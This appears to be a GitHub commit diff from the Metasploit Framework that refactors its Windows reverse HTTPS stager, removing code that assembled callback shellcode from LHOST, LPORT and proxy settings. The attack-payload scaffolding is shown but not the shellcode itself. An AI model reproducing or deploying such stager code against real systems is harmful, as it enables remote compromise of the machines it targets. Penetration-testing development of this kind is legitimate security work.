Skip to content

Commit 99fdfe3

Browse files
committed
More tidying/refactoring of the stagers
1 parent 4686691 commit 99fdfe3

File tree

1 file changed

+1
-43
lines changed

1 file changed

+1
-43
lines changed

lib/msf/core/payload/windows/reverse_https.rb

Lines changed: 1 addition & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -5,63 +5,21 @@
55

66
module Msf
77

8-
98
###
109
#
1110
# Complex payload generation for Windows ARCH_X86 that speak HTTPS
1211
#
1312
###
1413

15-
1614
module Payload::Windows::ReverseHttps
1715

1816
include Msf::Payload::Windows::ReverseHttp
1917

20-
#
21-
# Generate and compile the stager
22-
#
23-
def generate_reverse_https(opts={})
24-
combined_asm = %Q^
25-
cld ; Clear the direction flag.
26-
call start ; Call start, this pushes the address of 'api_call' onto the stack.
27-
#{asm_block_api}
28-
start:
29-
pop ebp
30-
#{asm_reverse_http(opts)}
31-
^
32-
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
33-
end
34-
3518
#
3619
# Generate the first stage
3720
#
3821
def generate
39-
40-
# Generate the simple version of this stager if we don't have enough space
41-
if self.available_space.nil? || required_space > self.available_space
42-
return generate_reverse_https(
43-
ssl: true,
44-
host: datastore['LHOST'],
45-
port: datastore['LPORT'],
46-
url: generate_small_uri,
47-
retry_count: datastore['StagerRetryCount'])
48-
end
49-
50-
conf = {
51-
ssl: true,
52-
host: datastore['LHOST'],
53-
port: datastore['LPORT'],
54-
url: generate_uri,
55-
exitfunk: datastore['EXITFUNC'],
56-
proxy_host: datastore['PayloadProxyHost'],
57-
proxy_port: datastore['PayloadProxyPort'],
58-
proxy_user: datastore['PayloadProxyUser'],
59-
proxy_pass: datastore['PayloadProxyPass'],
60-
proxy_type: datastore['PayloadProxyType'],
61-
retry_count: datastore['StagerRetryCount']
62-
}
63-
64-
generate_reverse_https(conf)
22+
super({ :ssl => true })
6523
end
6624

6725
#

0 commit comments

Comments
 (0)